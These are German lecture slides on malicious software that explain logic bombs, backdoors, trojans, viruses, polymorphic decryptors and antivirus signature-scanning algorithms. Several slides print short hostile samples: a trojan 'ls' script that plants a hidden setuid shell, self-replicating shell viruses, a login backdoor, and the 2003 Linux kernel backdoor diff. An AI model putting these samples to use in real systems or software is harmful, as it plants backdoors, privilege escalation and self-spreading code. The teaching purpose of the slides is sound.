Upload
others
View
0
Download
0
Embed Size (px)
Citation preview
Vorlesung InformationssicherheitThema 5: Bösartige Software
Robert Baumgartl
11. Mai 2016
1 / 95
Überblick
Bösartige Software
unabhängigWirtsprogramm nötig
Hintertüren
Logische Bomben Viren Würmer Trojanische Pferde
verbreiten sich selbständig
Abbildung: Mögliche Kategorisierung bösartiger Software
I lokale vs. entfernte AngriffeI on-line- vs. off-line-Angriffe
2 / 95
Logische Bomben
Idee: Implantierung „bösartigen“ Codes in Applikationen (oderin das BS), Aktivierung des Codes, sobald eine bestimmteAktivierungsbedingung erfüllt
I Aktivierungsbedingung Eintritt eines Datums→ (logische)„Zeitbombe“ (Kalender von Aktivierungsdaten:http://vil.nai.com/vil/calendar/virus_calendar.aspx)
I meist simples Löschen von DatenI häufig eingesetzt, um „Rache“ für Entlassung o. ä. zu üben
3 / 95
Ausschnitt aus dem McAfee-Aktivierungskalender
12. Mai W97M/Alamat, W97M/Yous, VBS/Horty.b@MM,VBS/Horty.a@MM, WM/Alliance.A, WM/Envader.A(Intended), WM/Eraser.A:Tw, VBS/Aqui
13. Mai VBS/Aqui, VBS/Zync, WM/Eraser.A:Tw, VBS/Alphae,WM/Envader.A (Intended), Twno.A, WM/BOOM.A;B,WM/BADBOY.A;B;C, WM/FRIDAY.D, WM/FRIDAY.A,WM/Goldsecret.B:Int,WM/CVCK1.B;E,W97M/Rapmak.a, W97M/Yous, W97M/Alamat,WM/SHOWOFF.G, W97M/BackHand.A, W97M/Idea.A,W97M/Digma
14. Mai X97M/Jal.a, VBS/San@M, W97M/Este, W97M/Alamat,W32/SoftSix.worm, W97M/Yous, VBS/Valentin@MM,WM/PHARDERA.C ;D (INTENDED), W97M/Class.B,W97M/Class.D, W97M/Ekiam, WM/Eraser.A:Tw,VBS/Aqui
15. Mai . . .
4 / 95
Logische Bomben
Beispiel:I Donald Gene Burleson, Programmierer für Versicherung
USPA & IRA, Ft. Worth, TXI entlassen am 18. 9. 1985 (Grund: persönliche
Schwierigkeiten)I am 21. 9. 1985 um 3 Uhr werden 168.000 Datensätze aus
der Datenbank des Unternehmens gelöschtI Code wurde bei Restaurierung der gelöschten Datensätze
gefundenVor Gericht:
“Benson, who spent four days testifying about how heuncovered the scheme, said the destructive programswere created Sept. 2 and Sept. 3, 1985, on Burleson’scomputer terminal by someone using Burleson’scomputer password.”
(http://catless.ncl.ac.uk/Risks/7.56.html)5 / 95
Hintertüren (Back Doors)
Idee: Einbau (nichtdokumentierter) Schnittstellen in Softwarezwecks späteren (unautorisierten) Zugriffes auf das System.
I Mißbrauch von geheimen Debugging-SchnittstellenI schwierig von BS-Seite aus zu erkennenI häufiges Relikt aus der ProduktentwicklungI Behörden sind häufig der Meinung, ein Anrecht auf
Hintertüren zu habenI Gegenmaßnahme: Code Reviews, Open SourceI symmetrische vs. asymmetrische HintertürenI viele Würmer installieren Back DoorsI Klassiker: Back Orifice
(http://www.cultdeadcow.com/tools/bo.php)I feste Master-BIOS-Passworte, z. B. lkwpeter bei Award
BIOS
6 / 95
Beispiel einer Hintertür
Beispiel: Login-Code mit Hintertür (Tanenbaum: ModernOperating Systems, 2001, S. 610)
while (TRUE) {printf("login: ");get_string(name);disable_echoing();printf("password: ");get_string(password);enable_echoing();v = check_validity(name, password);if (v || strcmp(name, "zzzzz") == 0)break;
}execute_shell(name);
7 / 95
Beispiel 2 (Backdoor im Linux-Kern; nice try)
From: Larry McVoy [email blocked]Subject: Re: BK2CVS problemDate: Wed, 5 Nov 2003 14:23:02 -0800
On Wed, Nov 05, 2003 at 12:58:13PM -0800, Matthew Dharm wrote:> Out of curiosity, what were the changed lines?--- GOOD 2003-11-05 13:46:44.000000000 -0800+++ BAD 2003-11-05 13:46:53.000000000 -0800@@ -1111,6 +1111,8 @@
schedule();goto repeat;
}+ if ((options == (__WCLONE|__WALL)) && (current->uid = 0))+ retval = -EINVAL;
retval = -ECHILD;end_wait4:
current->state = TASK_RUNNING;
---Larry McVoy lm at bitmover.com
8 / 95
Beispiel 2 (Backdoor im Linux-Kern; nice try)
I jemand modifizierte die Kernelquellen (unautorisiert)I fraglicher Code gehört zu sys_wait4(), d. h. dem
Systemruf wait4()I „verkleideter Code“; (current->uid = 0) sieht so
ähnlich aus wie (current->uid == 0)
I wenn jemand wait4() aufruft und die Optionen__WCLONE und __WALL sind gesetzt, so erhält derRufende root-Rechte
I Code wurde beim Review entdeckt (“It’s not a big deal, wecatch stuff like this, but it’s annoying to the CVS users.”)
9 / 95
Trojanische Pferde („Trojaner“)
Idee: dem Nutzer ein Programm unterschieben, welches beiAktivierung unerlaubte Aktionen ausführt
I anstelle eines Eindringlings führt ein autorisierter NutzerSchadcode aus
I Beispiel: gefälschter Login-BildschirmI Klassiker: Compiler, der unbemerkt bösartigen Code in
übersetzte Programme einbaut (Ken Thompson:Reflections on Trusting Trust, CACM 4(27), S. 761ff.)
I vgl. "‘Bundestrojaner"’
10 / 95
Beispiel eines simplen UNIX-Trojaners
(ls benennen und im Pfad eines Nutzers unterbringen)
#!/bin/shcp /bin/sh /tmp/.xxshchmod u+s,o+x /tmp/.xxshrm ./lsls $*
I kopiert und versteckt ShellI setzt das SetUID-Bit und macht die Shell für alle
ausführbarI → läuft mit den Rechten des Eigentümers, anstatt mit
denen des AufrufendenI Zugriff auf Daten des Angegriffenen
11 / 95
Beispiel eines simplen UNIX-Trojaners
(ls benennen und im Pfad eines Nutzers unterbringen)
#!/bin/shcp /bin/sh /tmp/.xxshchmod u+s,o+x /tmp/.xxshrm ./lsls $*
I kopiert und versteckt ShellI setzt das SetUID-Bit und macht die Shell für alle
ausführbarI → läuft mit den Rechten des Eigentümers, anstatt mit
denen des AufrufendenI Zugriff auf Daten des Angegriffenen
12 / 95
Beispiel eines simplen UNIX-Trojaners
(ls benennen und im Pfad eines Nutzers unterbringen)
#!/bin/shcp /bin/sh /tmp/.xxshchmod u+s,o+x /tmp/.xxshrm ./lsls $*
I kopiert und versteckt ShellI setzt das SetUID-Bit und macht die Shell für alle
ausführbarI → läuft mit den Rechten des Eigentümers, anstatt mit
denen des AufrufendenI Zugriff auf Daten des Angegriffenen
13 / 95
Beispiel eines simplen UNIX-Trojaners
(ls benennen und im Pfad eines Nutzers unterbringen)
#!/bin/shcp /bin/sh /tmp/.xxshchmod u+s,o+x /tmp/.xxshrm ./lsls $*
I kopiert und versteckt ShellI setzt das SetUID-Bit und macht die Shell für alle
ausführbarI → läuft mit den Rechten des Eigentümers, anstatt mit
denen des AufrufendenI Zugriff auf Daten des Angegriffenen
14 / 95
Beispiel eines simplen UNIX-Trojaners
(ls benennen und im Pfad eines Nutzers unterbringen)
#!/bin/shcp /bin/sh /tmp/.xxshchmod u+s,o+x /tmp/.xxshrm ./lsls $*
I kopiert und versteckt ShellI setzt das SetUID-Bit und macht die Shell für alle
ausführbarI → läuft mit den Rechten des Eigentümers, anstatt mit
denen des AufrufendenI Zugriff auf Daten des Angegriffenen
15 / 95
(Computer)-Viren
“A virus is a program that is able to infect otherprograms by modifying them to include a possiblyevolved copy of itself.” (Fred Cohen)
einige Varianten:I Stealth-VirenI polymorphe VirenI Bootsektor-VirenI Macro-Viren
16 / 95
Beispiel für viralen (virulenten?) Code
for i in *.sh; doif test "./$i" != "$0"; thentail -n 5 $0 | cat >> $i;
fidone
Analyse:I beschränkt auf eigenes VerzeichnisI mehrfache Infektion wahrscheinlichI kein PayloadI leicht zu analysieren ;-)
17 / 95
Beispiel für viralen (virulenten?) Code
for i in *.sh; doif test "./$i" != "$0"; thentail -n 5 $0 | cat >> $i;
fidone
Analyse:I beschränkt auf eigenes VerzeichnisI mehrfache Infektion wahrscheinlichI kein PayloadI leicht zu analysieren ;-)
18 / 95
Beispiel für viralen (virulenten?) Code
for i in *.sh; doif test "./$i" != "$0"; thentail -n 5 $0 | cat >> $i;
fidone
Analyse:I beschränkt auf eigenes VerzeichnisI mehrfache Infektion wahrscheinlichI kein PayloadI leicht zu analysieren ;-)
19 / 95
Beispiel für viralen (virulenten?) Code
for i in *.sh; doif test "./$i" != "$0"; thentail -n 5 $0 | cat >> $i;
fidone
Analyse:I beschränkt auf eigenes VerzeichnisI mehrfache Infektion wahrscheinlichI kein PayloadI leicht zu analysieren ;-)
20 / 95
Beispiel für viralen (virulenten?) Code
for i in *.sh; doif test "./$i" != "$0"; thentail -n 5 $0 | cat >> $i;
fidone
Analyse:I beschränkt auf eigenes VerzeichnisI mehrfache Infektion wahrscheinlichI kein PayloadI leicht zu analysieren ;-)
21 / 95
Ein (etwas) besserer Virus
for i in *.sh; doif test "./$i" != "$0"; thenHOST=$(echo -n $(tail -10 $i))VIR=$(echo -n $(tail -10 $0))if [ "$HOST" != "$VIR" ]thentail -n 10 $0 | cat >> $i;
fifi
done
22 / 95
Würmer
“An independently replicating and autonomousinfection agent, capable of seeking out new hostsystems and infecting them via the network.”(Jose Nazario: Defence and Detection Strategiesagainst Internet Worms, Artech House, 2004)
Bekannte Vertreter:I W32.BlasterI MelissaI MydoomI SasserI Conficker
23 / 95
Komponenten eines Wurms
1. Aufklärung neuer Hosts als potentielle AngriffszieleI IP-Adreßräume (partiell) durchsuchenI lokale Suche in (z. B.) KonfigurationsdateienI OS Fingerprinting, um BS-Typ und -Version zu ermitteln
2. AngriffscodeI Remote Exploit bekannter SchwachstellenI Trojanisches Pferd (z.B. Mail mit attached Binary)I benötigt für jede anzugreifende Plattform Exploit
3. KommunikationI z. B. mittels ICMP, UDP, . . . , E-MailI über verdeckte KanäleI Verbergen beteiligter Prozesse und Sockets mittels
Kernelmodul oder durch Störung vonÜberwachungssoftware
24 / 95
Komponenten eines Wurms
4. KommandoschnittstelleI interaktiv oder indirekt (script-gesteuert)I typische Kommandos: Up-/Download von Dateien,
Flut-Ping, Generierung von HTTP-Requests, . . .5. Verwaltung der erfolgreich angegriffenen Hosts
I verteilte oder zentralisierte DatenbankI Liste aller befallenen RechnerI in privatem IRC-Channel
25 / 95
Weitere Begriffe
I RansomwareI (kryptografisch sichere) Verschlüsselung des
MassenspeichersI Entschlüsselung nur nach Zahlung eines „Lösegelds“I z. B. CryptoLocker (nutzt 2048-Bit-RSA-Schlüssel, forderte
400$)I Rootkit
I Software, die zur Verschleierung der Kompromittierungeines Rechners dient
I SpywareI KeyloggerI Hoax (z. B. Good-Times-„Virus“)
26 / 95
GoodTimes
FYI, a file, going under the name "Good Times"is being sent to some Internet users whosubscribe to on-line services (Compuserve,Prodigy and America On Line). If you shouldreceive this file, do not download it! Deleteit immediately. I understand that there is avirus included in that file, which ifdownloaded to your personal computer, willruin all of your files. [...]
27 / 95
Computerviren
28 / 95
Literatur
I Eric Filiol: Computer Viruses: From Theory to Appliactions.Springer, 2005
I Peter Szor: The Art of Computer Virus Research andDefense. Addison-Wesley, 2005
I Mark Ludwig: The Giant Black Book of Computer Viruses.American Eagle Publications, 1995
I John Aycock: Computer Viruses and Malware. Springer,2006
I http://www.cknow.com/vtutor/IntroductiontoViruses.htmlI http://vx.netlux.org/
29 / 95
Was ist ein Virus?
DefinitionA virus is a program that reproduces its own code by attachingitself to other executable files in such a way that the virus codeis executed when the infected executable file is executed.Anmerkungen:
I Implementationssprache irrelevantI keine Schadroutine nötigI Wurm ist auch ein Virus
30 / 95
Bestandteile eines Virus
I Infektionsmechanismus: Aufsuchen von Zielen,Replikation
I Routine(n) zum Verbergen: vor dem Nutzer oderAnti-Viren-Software
I Trigger: Entscheidung, ob bzw. wann Nutzlast aktiviertwird
I Nutzlast: zufälliger oder beabsichtigter Schaden oder„Spaß“
Beispiel: blackwolf.c (http://vx.netlux.org/lib/vbw06.html)
31 / 95
Analyse: Blackwolf-Virus in C
I sucht alle .COM-Dateien im aktuellen Verzeichnis undinfizierte diese (auf einmal)→ schnelle Infektion
I überschreibender VirusI mäßig destruktiv: Virus-Code überschreibt Anfang der
ZieleI verbirgt sich nichtI keine NutzlastI infiziert bei jeder Aktivierung, Ziele wachsen nicht, da
überschreibend
32 / 95
Klassifizierung von Viren Inach dem potentiellen Ziel
I Boot-SektorI (allgemeine) ausführbare Dateien (.BAT, .EXE, .VBS,
PostScript, ELF, .sh, .py, . . . )I (spezielle) Dateien bestimmter Applikationen, die mit
Makrosprache ausgerüstet sind, z. B. Microsoft Office→Makroviren (data file infectors)
33 / 95
Klassifizierung von Viren IInach der Strategie des Verbergens
I keineI verschlüsselnd (besser: obfuscating)I Stealth: Virus versucht, sich sowie die Infektion zu
verbergenI Oligomorphismus: Virus kommt in (endlich) vielen Formen
vorI Polymorphismus: Virus kommt in (fast) unendlich vielen
Formen vorI Metamorphismus: Virus wechselt seine Gestalt
34 / 95
Klassifizierung von Viren IIInach der Schadfunktion (Nutzlast, Payload)
1. keine SchadfunktionI typisch für Proof-of-Concept-VirenI trotzdem nicht harmlos (Ressourcenverbrauch,
Datenverlust infolge Absturzes, . . . )2. unbeabsichtigte Schadfunktion („aus Versehen“)
I Beispiel: Stoned-VirusI schreibt Boot-Sektor an einen (vermeintlich) sicheren Platz,
Ende des WurzelverzeichnissesI Verzeichniseinträge werden überschrieben, falls sehr viele
Dateien im Root-Verzeichnis3. nichtdestruktive Schadfunktion
I „Yankee Doodle“I „Cascade“ (Herbstlaub)I W95/Marburg: zeichnet 256 Icons (IDI_HAND) zufällig auf
den Bildschirm
35 / 95
Nichtdestruktive Schadfunktion von W95/Marburg
(http://www.sophos.com/images/viruses/w95-marburg.gif )
36 / 95
Klassifizierung von Viren IIInach der Schadfunktion (Nutzlast, Payload)
4. mäßig destruktive Schadfunktion („mildly damaging“)I Löschen z. B. von Anti-Viren Software aus Speicher und
von FestplatteI W95/HPS kehrt samstags unkomprimierte BMP-Bilder um
(von rechts nach links)I WM/Wazzu.A (1996), bewegt 1-3 Wörter in einem
Office-Dokument, fügt ab und zu das Wort „Wazzu“ ein5. stark destruktive Schadfunktion
a) schnelles Überschreiben von DatenI Michelangelo: überschreibt erste 17 Sektoren jeder Spur der Köpfe 0 bis 4 des
BootmediumsI Überschreiben des MBR oder der FAT (Töltögetö-Virus)I AntiPascal: löscht Pascal-Quellfiles (.PAS)
37 / 95
Stark destruktive Schadfunktionen
b) langsames Überschreiben von Daten (Data Diddler)I Dark.Avenger.1800.A: schreibt "Eddie lives ...somewhere in time!" in zufälligen Sektor
I Ripper: tauscht 2 Datenworte in einem zufällig gewähltenSektor der Festplatte aus
I Gefahr, daß manipulierte Daten ins Backup wandernc) Datenverschlüsselung
I Disk Killer: XORt alle Sektoren des DatenträgersI KOH: verschlüsselt Datenträger mittels IDEA (Idee:
Datenschutz!), „guter Virus“ !?d Störung der Hardware
I AntiCMOS: beschreibt CMOS-RAM (setztCMOS-Passwort)
I W95/CIH: überschreibt (u. a.) Teile des BIOS imFlash-Speicher
38 / 95
Mehrfachinfektion
I Mehrfachinfektion muß vermieden werden, da diese zuI unbeabsichtigtem Fehlverhalten undI auffälligem „Wachstum“ infizierter Dateien
führen, was die Detektierung erleichtert.I → Virus muß infizierte von nichtinfizierten Dateien
unterscheiden könnenI Wenn ein Virus dies kann, so kann dies (potentiell) auch
Anti-Viren-Software!
39 / 95
Überschreibender Virus
Header
Code
Virus
ausführbare Zieldatei
Header
Code
und
Daten
Header
Codeüberschriebener Teil
der Zieldatei
nichtüberschrieben
Infektion
Abbildung: Prinzip des überschreibenden Virus
40 / 95
Überschreibender Virus
I Größe des Ziels ändert sich nichtI auch ohne Payload bösartig: Überschreiben führt zu
Nichtausführbarkeit des ZielsI auch Überschreiben am Ende möglich (Sprung zum Virus
und danach zum Wirtsprogramm)I Virus muß sehr klein sein
41 / 95
Anhangvirus (Appender/Prepender)
Zieldatei
Virus
Infektion
1.
2.
infizierte Zieldatei Aufrufreihenfolge
Abbildung: Prinzip des sich anhängenden Virus42 / 95
Anhangvirus
I Append: kleiner Teil des Targets wird mit Sprung zum Virusüberschrieben
I während Ausführung des Virus muss Zieldatei wiederrestauriert werden
I Auch Voranstellen des Virus möglich, aber ungleichschwieriger
I Größe der Zieldatei ändert sich
43 / 95
Companion Virus (Begleiter)
Idee:I Anlegen einer zusätzlichen Datei („Begleiter“), die mit
Zieldatei (logisch) verbunden istI wenn Zieldatei ausgeführt wird, wird zunächst stets der
Begleiter, der Virus, ausgeführtI Integrität des Zieles bleibt erhalten, jedoch entstehen neue
Dateien
44 / 95
Companion Virus
Zieldatei
Virus Virus
Zieldatei
Exec
1. 2.
Infektion
infizierte Zieldatei
Abbildung: Prinzip des Companion Virus
45 / 95
Companion VirusImplementierungstechniken
I Nutzung einer Ausführungspräzedenz (z. B. MS-DOS:file.com > file.exe > file.bat)
I Nutzung der Hierarchie beim Suchen ausführbarer Dateien
I Datei gleichen Namens wie das Ziel in ein Verzeichnisschreiben, das im PATH vor dem Verzeichnis des Zielessteht
I Manipulation der Indexstruktur der ZieldateiI Überschreiben der Startclusternummer des Zieles mit
Startclusternummer des Virus (und entsprechendeVerkettung)
I Umbenennung des ZielesI Virus kopiert sich, benennt sich wie Ziel, und ruft dieses
nach eigener AktivitätI betriebssystemunabhängig
46 / 95
Quellcode-Virus
Idee: Manipulation von Quellcode: Einfügen virulenten CodesI Vorteil: infizierte Binärdateien sind vollständig intaktI vgl. Ken Thompson: Reflections on Trusting Trust. CACM
4(27) 1984, S. 761ff.Gegenmaßnahmen:
I Code ReviewI Integritätsprüfungen von Quelldateien
47 / 95
Autoreplizierende Programme
Definition (Quine)Ein Quine ist ein Programm, das seinen eigenen Quellcodeausgibt.
I ziemlich schwierig für compilierte Sprachen zu schreiben(probieren Sie es!)
I nicht so schwierig für interpretierte Sprachen
Beispiel in C:char∗ f =" char∗ f=%c%s%c ; main ( ) { p r i n t f ( f ,34 , f ,34 ,10) \;}%c " ; main ( ) { p r i n t f ( f ,34 , f ,34 ,10) ; }
Literatur: http://www.madore.org/˜david/computers/quine.html
48 / 95
Ein Quine in LATEX
\documentclass{book}\pagestyle{empty}\def\a{\ensuremath{\backslash}}\def\f{\def\b{\a}\def\c{\{}\def\d{\}}\def\e{\\}\noindent\g\b def\b g\c\def\b{\a b}\def\c{\a c }\def\d{\a d}\def\e{\a e\\}\g\}\a begin\{document\}\a f\a end\{document\}}\def\g{ \b documentclass\c book\d\b pagestyle\e\c empty\d\b def\b a\c \b ensuremath\c \b backslash\d\d\b def\b f\e\c \b def\b b\c \b a\d\b def\b c\c \b \c \d\b def\b d\c \b \d\d\b def\e\b e\c \b \b \d\b noindent\b g\b b def\b b g\b c\b def\b b\c \b a b\e\d\b def\b c\c \b a c \d\b def\b d\c \b a d\d\b def\b e\c \b a e\e\b \b \d\b g\b \d\b a begin\b \c document\b \d\b a f\b a end\e\b \c document\b \d\d}\begin{document}\f\end{document}
49 / 95
Quines in UNIX-Shell
Beispiel 1:#!/bin/bashread foo<<’EOF’;eval $fooecho ’#!/bin/bash’;echo ’read foo<<’"’EOF’"’;eval $foo’ \;echo $foo;echo EOFEOF
Beispiel 2:#!/bin/bashcat $0
50 / 95
Funktionsweise eines Quellcode-Virus
1. Virus kreiert Quellcodefile (virus.h), 2 Komponenten:I Code des Virus (, der in Zieldatei eingebunden und
übersetzt wird zu infiziertem Binärfile)I gleicher Code in Form einer Datenstruktur (z. B. Array) für
weitere Generationen des Virus= Quine
2. Infektion eines Zieles:I #include "virus.h"I Einfügen mindestens eines Aufrufs des Viruscode in Ziel
3. Virus selbst kann Übersetzungslauf der infizierten Quelleveranlassen
51 / 95
Quellcode-Virus
Zieldatei
Virus
Zieldatei
Zieldatei
(Quellcode)
aktiver Virus(Binärcode)
Übersetzung
manipuliert
infizierte Zieldatei(Binärcode)
manipuliert
manipuliert
Abbildung: Prinzip eines Quellcode-Virus
52 / 95
Boot-Viren
3 TypenI BIOS-Virus
I manipuliert BIOS im Flash-SpeicherI kann nicht durch Antivirus-Software detektiert werdenI unterliegt keinen Zugriffsrestriktionen bei FestplatteI Beispiel: W95/CIH
I Boot-Sektor- bzw. MBR-VirusI infiziert genau einen Sektor→ maximale Größe 512 Byte
I nachladender Boot-Sektor-Virus
53 / 95
Residente Viren
I verbleiben nach Aktivierung im SpeicherI Infektionsgeschwindigkeit muss künstlich gedrosselt
werdenI MS-DOS: Terminate and Stay Resident (TSR)I Windows: VXD (virtueller Gerätetreiber)I UNIX: relativ schwierig
I als Daemon (root-Privileg erforderlich)I als Hintergrundprozess, gestartet durch .profileI Ymum20
54 / 95
Verschlüsselung
Ziel: Erschweren vonI Reverse EngineeringI DetektierungI Identifikation des genauen Virustyps
I Entschlüsselung muss schnell gehen!I darf keine Nutzereingaben o. ä. erwartenI XOR-Verschlüsselung gern genutzt:
I benötigt eine MaschineninstruktionI Schlüssel für Ver- und Entschlüsselung gleich
55 / 95
Ein einfacher Decryptor für .EXE-Dateien
DECRYPT:mov si, OFFSET STARTmov di, OFFSET STARTmov cx, VIR_SIZE
ELP:lodsbxor al,093Hstosbloop ELP
START:Virus Body Starts here ...
I lodsb – load byte at DS:SI into ALI stosb – store AL into DS:DII loop <label> – dec CX, jump <label>, if CX 6= 0
56 / 95
Der Decryptor des Herbstlaub-Virus
lea si,STARTmov sp,0682
DECRYPT:xor [si],sixor [si],spinc sidec spjnz DECRYPT
START:...
I erster bekannter verschlüsselnder VirusI START ist Beginn des verschlüsselten Teils, dynamisch
gesetztI SP als Zähler missbraucht
57 / 95
Variationen des Themas
I einfachste Form: lineare Verschlüsselung (Byte nachByte), vorwärts
I Verschlüsselung rückwärts (Decryptor steht am Ende desVirus)
I mehrere verschachtelte EntschlüsselungsschleifenI semizufällige Auswahl des zu entschlüsselnden Bytes
58 / 95
Formen von Entschlüsselungsschleifen
Decryption Loop
Decryption Loop Decryption Loop 2
Decryption Loop n
Virus
Body
Virus
Body
Decryption Loop 1
Virus
Body
59 / 95
Anmerkungen
I Bitmuster der Entschlüsselungsschleife reicht manchmalzur Detektierung eines Virus, da diese Funktioneneigentlich nur in Viren vorkommen
I präzise Identifikation oft unmöglich, da weniger Typen vonEntschlüsselungsschleifen als Virentypen
I Verschlüsselung Basis für Vielgestaltigkeit
60 / 95
Beispiel für oligomorphen Decryptor
DECRYPT:nopnopxor [esi],alinc esinopinc aldec ecxjnz DECRYPTjmp START
START:...
DECRYPT:nopnopxor [esi],alinc esinopinc alloop DECRYPTjmp START
START:...
I Beispiel aus W95/MemorialI sliding decryption keyI 2 (leicht) verschiedene Schleifen
61 / 95
Erkennen Sie, was dieser Code tut?
inc simov ax,0E9Bclcmov di,012Anopmov cx,0571
LABEL0:xor [di],cxsub bx,dxxor bx,cxsub bx,axsub bx,cxnopxor dx,cxxor [di],axinc dinopclcinc axloop LABEL0
START:
62 / 95
Es ist ein Dekryptor.
inc simov ax,0E9Bclcmov di,012Anopmov cx,0571
LABEL0:xor [di],cxsub bx,dxxor bx,cxsub bx,axsub bx,cxnopxor dx,cxxor [di],axinc dinopclcinc axloop LABEL0
START:
63 / 95
Beispiel für polymorphen Virus: 1260
I Einfügen sogenannter junk instructions verkompliziertCode
I Instruktionen in Prolog und Schleife können jeweilsmiteinander permutiert werden
I 2 Register mit Schlüsseln, ax und cxI jedes Wort wird doppelt verschlüsseltI beide Schlüssel ändern sich stetig (cx implizit durch loop)I di zeigt auf zu verschlüsselndes WortI einer der ersten echt polymorphen Viren
→ Polymorphe Viren können eine unübersehbare Vielzahl vonDekryptor-Routinen besitzen.
64 / 95
Weitere Aspekte polymorpher Viren
I langsame Polymorphie: Gestalt des Virus ändert sich ingroßen Zeiträumen→ schlecht zu testen für AV-Software
I Mutation Engines: übernehmen einen unverschlüsseltenVirus und generieren einen polymorphen Decryptor dafür(Beispiel: The Dark Avenger Mutation Engine)
I Metamorphe Viren: anstatt des Dekryptors wird der Körperdes Virus modifiziert (keine Verschlüsselung mehr nötig)
65 / 95
Weitere Techniken
I Code Interlacing (Hole Cavity Infection); im „PortableExecutable“ (PE) - Binärformat
I Armoured Virus: be- oder verhindert die Analyse desBinärcodes
I erkennen, wenn im Debugmodus abgearbeitet (beendetsich selbst, blockiert Tastatur, rebootet)
I Fake CodeI kryptographische Techniken
I Retrovirus: Nutzen spezifische Erkennungsschwächen vonAnti-Virus-Software
I Multiformatvirus – kann verschiedene Dateitypen infizieren(z. B. iWinux/Lindose, infiziert PE und ELF)
I Slow vs. Rapid VirusI Manipulation des EnvironmentsI kooperierende oder kombinierte Viren
66 / 95
Anti-Virus-Software
Zielstellung:I Erkennung
I keine False PositivesI keine False Negatives
I Identifikation,I Entfernung von Viren
67 / 95
Scanner
Scanner: Programm zur Identifikation und Eliminierung bzw.Reparatur infizierter Dateien
I on-demandI durch den Nutzer gerufenI bzw. zu ausgezeichneten Zeitpunkten (Systemstart)
I on-accessI residentI bei jedem Zugriff, Öffnen, SchließenI z. B. als Filter-Dateisystem-Treiber unter WindowsI Problem: Netzwerk-Freigaben
68 / 95
Signatur eines Virus
Definition (Signatur eines Virus)Die Signatur eines Virus ist eine endliche Sequenz von Bytes,die einen bestimmten Virus eineindeutig identifiziertBeispiel: 0400 B801 020E 07BB 0002 33C9 8BD1 419Cidentifiziert den Stoned-Virus
I Länge der Signatur?I Wildcards?I durchsucht werden alle anfälligen
Dateien/FestplattenbereicheI Problem: Performance!
69 / 95
Algorithmus von Aho-Corasick (1975)Zur bibliografischen Suche
0 1 3 5
6
8
2 4 7 9
h i p s
t
c
h i p
other
hi hip hips
hit
hi chip,hip
Abbildung: Beispiel eines Zustandsautomaten
Fehlerzustand 1 2 3 4 5 6 7 8 9Folgezustand 0 0 0 1 0 0 3 0 5
Tabelle: Zugehörige Fehlerfunktion70 / 95
Algorithmus von Aho-Corasick (1975)
Input Vorher Nachher Ausgabes 0 0c 0 2h 2 4i 4 7 „hi“p 7 9 „chip“, „hip“h 9 1i 1 3 „hi“
Tabelle: Beispiel
I parallele Suche nach allen eingebauten MusternI findet auch überlappende MusterI Anwendung z. B. in fgrep und snortI Literatur: Alfred V. Aho, Margaret J. Corasick: Efficient
string matching: An aid to bibliographic search.Communications of the ACM 18(6):333–340
71 / 95
Algorithmus von Veldman
Idee: Repräsentation der Signaturen durch kurze (z. B. 4 Byte)charakteristische Sequenzen, Filterung mittels zweierHashtabellen
I wenn erste beide Bytes in Hashtabelle 1 zu finden sind,wird in 2 Hashtabelle nach Bytes 3 und 4 gesucht
I Treffer verlinkt verkettete Liste mit Signaturen, die dannsequentiell durchsucht werden
I 2-Byte-Sequenzen für kurze Signaturen ebenfalls möglichI ideal für Suche mittels Wildcards
Beispielzeichenkette für Automat:
blar?g foo greep greed agreed
blar fo gree
72 / 95
Algorithmus von Veldman
Suchfunktion:
foreach byte sequence b1b2b3b4 in input:if HT1[b1b2] == 1thenif two-byte-patternthen
signatures = HT1[b1b2]->STmatch(signatures)
elseif HT2[b3b4] == 1then
signatures = HT2[b3b4]->STmatch(signatures)
73 / 95
Algorithmus von Veldman
bla?r
greep green
foo
agreedaa
ab
ac
0
0
0
1
1
ar
ee
aa
ab
0
0
0
bl
ac
1
gr
fo 1
1
Hash Table 1
HT1
Hash Table 2
HT2
Signature Table
ST
Abbildung: Beteiligte Datenstrukturen (Beispiel)
74 / 95
Algorithmus von Veldman
Anmerkungen:I inexakte Filterung: im Beispiel würden z. B. „bleed“ oder
„grar“ als gültige Signatur erkannt werdenI folgendes Matching schliesst diese aber wieder ausI match-Operation der Signaturen erfolgt sequentiell
75 / 95
Algorithmus von Wu und Manber
Idee: Verbesserung von Veldman, irrelevante Bytes in derEingabe überspringen
I erlaubt ebenfalls WildcardsI Anwendung: agrep (unscharfe Suche)I Literatur: Udi Manber, Sun Wu: Fast text search allowing
errors. Communications of the ACM, 35(10), October 1992
76 / 95
Algorithmus von Wu und ManberSuchfunktion
i = MINLENwhile i < n:
shift = SHIFT [b[i-1],b[i]]if shift = 0:
signatures = HASH[b[i-1],b[i]]match(signatures)shift = 1
i = i + shift
I MINLEN – minimale Länge der Mustersubstrings (foo,greed, . . . )
I b[i] – Bytes der zu durchsuchenden Zeichenkette(0 ≤ i < n)
I SHIFT – Anzahl Bytes, die übersprungen werden könnenI HASH – Hashtabelle für Signaturen
77 / 95
Algorithmus von Wu und Manber
bla?r
agreed
foo
greep green
ab
ag
gr
la
bl
fo
oo
re
xx
2
1
1
1
0
0
0
0
2
gr
la
oo
re
Shift Table
SHIFT
Hash Table 2
HASH
Abbildung: Beteiligte Datenstrukturen (Beispiel)
78 / 95
Algorithmus von Wu und ManberBeispieleingabe
MINLEN=3
c
b[0] b[1] b[2] b[3] b[4] b[5] b[6] b[7]
a x x f o o
initiale
b
Shift: +1
Leserichtung
Shift: +2Shift: +2Position Match
Aufgabe: Was passiert mit der Eingabe „cabxloo“?
79 / 95
Algorithmus von Wu und ManberKonstruktion der Datenstrukturen
1. Ermittlung von MINLEN
2. Initialisierung von SHIFT mit MINLEN-13. Füllen von SHIFT
SHIFT[xy] = MINLEN - qxy
qxy : maximale rechte Endposition von xy in allenbetreffenden Pattern, gezählt ab 1
Beispiel:
xy Signatur qxy
bl bla 2la bla 3gr agr,gre 3
4. Konstruktion der Hashes, wenn SHIFT[xy] == 0
80 / 95
Probleme von Signaturen
zu kurz:I zu viele false positivesI Fehlidentifikation von Virentypen
zu lang:I aufgeblähte DatenbankI langsame SucheI Virusvarianten nicht als solche erkannt
generell:I ständiges Update der Signaturdatenbank nötigI zeitliche Lücke zwischen Auftreten eines neuen Virus→
Erkennung des Virus→ Analyse des Virus undGenerierung einer Signatur
81 / 95
Scanning: Leistungssteigerung
Reduktion der zu durchmusternden Daten:I nicht komplette Dateien durchsuchen (Top- and
Tail-Scanning)I Start des Scans am Einsprungpunkt der ApplikationI Fixed Point Scanning: wenn exakte Position der Signatur
(innerhalb des Virus) bekannt istI nur soviel durchmustern, wie der gesucht Virus lang ist
